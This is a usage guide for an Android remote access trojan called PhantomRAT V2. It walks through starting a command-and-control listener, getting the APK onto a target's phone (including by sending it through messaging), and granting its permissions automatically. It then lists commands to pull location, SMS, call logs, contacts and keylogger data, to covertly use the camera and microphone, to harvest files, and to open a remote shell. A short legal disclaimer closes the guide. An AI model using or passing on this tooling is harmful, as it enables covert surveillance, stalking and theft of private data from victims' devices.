Learn how to use PhantomRAT V2 effectively
Open a terminal and start the C2 server
python3 rat.py listen -ip 0.0.0.0 -p 8000
Transfer and install the APK on the target device
adb install Compiled_APK/phantom.apk
Or send via email/messaging and install manually
Critical Step: This enables auto-permission granting!
The device will automatically connect to your server
| Command | Description |
|---|---|
deviceinfo |
Get complete device details |
getsim |
Get SIM card information |
getlocation |
Get GPS coordinates |
| Command | Description |
|---|---|
takepic 0 |
Take photo (0=back, 1=front camera) |
startvideo 0 |
Start video recording |
startaudio |
Start audio recording |
screenshot |
Capture screenshot |
| Command | Description |
|---|---|
getsms inbox |
Get SMS (inbox/sent/drafts) |
getcalls |
Get call logs with details |
getcontacts |
Get complete contact list |
getkeylogs |
Get keylogger data (if accessibility enabled) |
| Command | Description |
|---|---|
download <path> |
Download file from device |
upload <path> |
Upload file to device |
harvest |
Harvest files from device |
| Command | Description |
|---|---|
shell |
Open remote shell (full device control) |
vibrate 5 |
Vibrate device 5 times |
sessions |
List all connected devices |
switch <id> |
Switch to different device session |
exit |
Disconnect from current device |
# Get basic device info
deviceinfo
# Get SIM details
getsim
# Get GPS location
getlocation
# Get inbox messages
getsms inbox
# Get sent messages
getsms sent
# Get drafts
getsms drafts
# Take photo with back camera
takepic 0
# Take photo with front camera
takepic 1
# Record audio
startaudio
# Open shell
shell
# Now you can run any shell command
ls -la
pwd
cat /sdcard/file.txt
sessions to manage multiple connected devicesdeviceinfo first to verify the targetshell for advanced operationsDumps/ folder for extracted dataAlways use this tool ethically and legally. Unauthorized access is illegal and may result in criminal prosecution. Only test on devices you own or have explicit written permission to test.